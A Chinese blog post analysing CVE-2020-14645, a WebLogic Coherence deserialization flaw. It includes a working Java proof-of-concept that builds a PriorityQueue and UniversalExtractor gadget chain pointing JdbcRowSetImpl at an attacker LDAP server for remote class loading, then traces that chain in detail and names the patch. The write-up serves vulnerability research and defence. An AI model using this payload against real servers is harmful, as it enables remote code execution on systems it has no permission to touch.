首页 技术 正文
技术 2022年11月21日
0 收藏 371 点赞 4,542 浏览 5575 个字

Weblogic漏洞分析之JNDI注入-CVE-2020-14645

Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。

该漏洞是针对于CVE-2020-2883的补丁绕过,CVE-2020-2883补丁将MvelExtractorReflectionExtractor列入黑名单,因此需要另外寻找一个存在extract且方法内存在恶意操作的类即可绕过补丁。

这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类 com.tangosol.util.extractor.UniversalExtractor,因此只能影响 Weblogic 12.2.1.4.x。

1)影响范围

Oracle WebLogic Server 12.2.1.4.0

2)漏洞复现

这里使用JNDI-Injection-Exploit工具开启一个ldap服务端

https://github.com/welk1n/JNDI-Injection-Exploit

这里使用了Y4er师傅的poc,生成poc文件,使用t3协议发送

package com.yyhuni;import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.extractor.UniversalExtractor;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.PriorityQueue;public class Test {
public static void main(String[] args) throws Exception {
// CVE_2020_14645
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
final ExtractorComparator comparator = new ExtractorComparator(extractor); JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setDataSourceName("ldap://192.168.202.1:1389/ayicvn");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); Object[] q = new Object[]{rowSet, rowSet}; Field queue1 = queue.getClass().getDeclaredField("queue");
queue1.setAccessible(true);
queue1.set(queue,q); Field queue2 = queue.getClass().getDeclaredField("size");
queue2.setAccessible(true);
queue2.set(queue,2); //serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close(); //unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}

弹出计算器:

3)漏洞分析

UniversalExtractor#extract中,利用了invoke调用 JdbcRowSetImpl#getDatabaseMetaData方法导致 JDNI 远程动态类加载。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中独有的。

gadget链:

 - PriorityQueue#readObject
- ExtractorComparator#compare
- this.m_extractor.extract
- UniversalExtractor#extract
- UniversalExtractor#extractComplex
- method.invoke#205
- JdbcRowSetImpl#getDatabaseMetaData

下面就分别解析PriorityQueue、ExtractorComparator、UniversalExtractor、JdbcRowSetImpl这四个类是怎么进行串联产生调用关系的

3.1 JdbcRowSetImpl

JdbcRowSetImpl中,调用其getDatabaseMetaData方法,会进行lookup的操作

可以看到,如果this.getDataSourceName()参数可控,则会产生JNDI注入

3.2 UniversalExtractor

使用此类的目的是,此类的extract方法,可以调用到JdbcRowSetImplgetDatabaseMetaData方法

构造方法

先来看UniversalExtractor的构造函数,在payload中传入了三个参数sName、aoParam、nTarget做了哪些操作

UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);

如果第一个if判断为true的话,则会抛出异常。所以传入的aoParam值为null,会跳转到else中

跳转到else中,分别给m_sName、m_aoParam、m_nTarget赋值,接着调用了this.init()

跟进this.init()

148行调用了getCanonicalName方法,把返回值传给了sCName,跟进getCanonicalName

86行的Lambdas.getValueExtractorCanonicalName(this)是判断this是否为AbstractRemotableLambda类型,此处就不跟入了,它的返回值是null。

所以进入了88行的if语句中,CanonicalNames.computeValueExtractorCanonicalName(this.m_sName, this.m_aoParam);

跟进computeValueExtractorCanonicalName方法

这里三个框分别解释下

  1. 如果aoParam 不为 null 且数组长度大于0就会返回 null ,此处aoParam是我们传入的null,不满足条件,进入else

  2. 如果方法名 sName 不以 () 结尾,则直接返回方法名,我们sName的值是getDatabaseMetaData(),不满足条件,进入else

  3. 如果方法名以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 数组中的前缀开头得话,会截取掉并返回,查看到数组中的元素有get、is,所以截取掉了getDatabaseMetaData()前面的get,最终返回了databaseMetaData

最终返回的databaseMetaData会赋值给init方法中的sCName

接下来一行把this.m_fMethod赋值为了false

到这里UniversalExtractor的构造函数就已经执行完了。接下来看下UniversalExtractorextract方法

extract方法

extract方法中,传入了oTarget,调用了extractComplex方法,跟进extractComplex方法

extractComplex方法中有使用到反射调用oTarget的任意方法method.invoke(oTarget, aoParam),而这里有三个参数分别是method、oTarget、aoParam,需要对这三个参数可控才可以调用到JdbcRowSetImplgetDatabaseMetaData方法。

现在来拆解extract方法,来理解这个extract方法是怎么一步步调用到最后的invoke的。

第一个if语句判断oTarget的值是不是等于null

从而走进else中,第二个if语句判断targetPrev的值如果为null,则走进else中,显然在69行,targetPrev被赋予了一个默认值null

接着在else中就是调用了this.extractComplex(oTarget)

跟进extractComplex

开头几行分别是对一些变量进行赋值

clzTarget为com.sun.rowset.JdbcRowSetImpl的class对象
aoParam为null
clzParam为null
sCName为databaseMetaData
fProperty为true

这里就解释下fProperty为什么是true,可以在isPropertyExtractor方法中看到,取反this.m_fMethod,而this.m_fMethod则是在前面init中被赋予了false

所以186行第一个if语句进入了true

sBeanAttribute的值为sCName第一个首字母变成大写后的值DatabaseMetaData

重点看for循环里面的内容,因为此内容拿到了关键的method

在BEAN_ACCESSOR_PREFIXES中有get、is方法,for循环遍历拿到clzTarget对象(com.sun.rowset.JdbcRowSetImpl)的get,is + sBeanAttribute(DatabaseMetaData)方法,然后赋值给了method

最后进行了method.invoke(oTarget, aoParam)

method值为getDatabaseMetaData

oTarget值为JdbcRowSetImpl

aoParam值为null

接下来就是调用到了JdbcRowSetImplgetDatabaseMetaData方法造成了JNDI注入

3.3 ExtractorComparator

ExtractorComparator类的compare方法会去调用UniversalExtractor#extract,并且传入了o1,而此处的o1则是最后UniversalExtractor的oTarget(JdbcRowSetImpl)

3.4 PriorityQueue

PriorityQueue类是此漏洞的入口,其以readObject为入口,最后调用到ExtractorComparator#compare方法,下面是PriorityQueue的调用链

readObject
->heapify()
-> siftDown(i, (E) queue[i])
-> siftDownUsingComparator
-> comparator.compare(x, (E) c) <= 0
-> ExtractorComparator#compare

这里有几个注意点:

comparator的值为PriorityQueue的构造函数中传入

comparator.compare(x, (E) c)中x和c的值都是在queue数组中获得

最后一点是size的值要大于等于2,不然不会进入while语句中

最后构造出整个漏洞的调用链

入口在PriorityQueue#readObject
-》 ExtractorComparator#compare
-》 this.m_extractor.extract
-》 UniversalExtractor#extract
-》 UniversalExtractor#extractComplex
-》 method.invoke#205
-》 JdbcRowSetImpl#getDatabaseMetaData

4)修复方式

安装Weblogic补丁:p31537019_122140_Generic

5)参考

https://www.anquanke.com/post/id/210724

https://nosec.org/home/detail/4524.html

https://paper.seebug.org/1280/

https://github.com/Y4er/CVE-2020-14645

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:8,964
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,486
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,331
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,114
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,747
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,781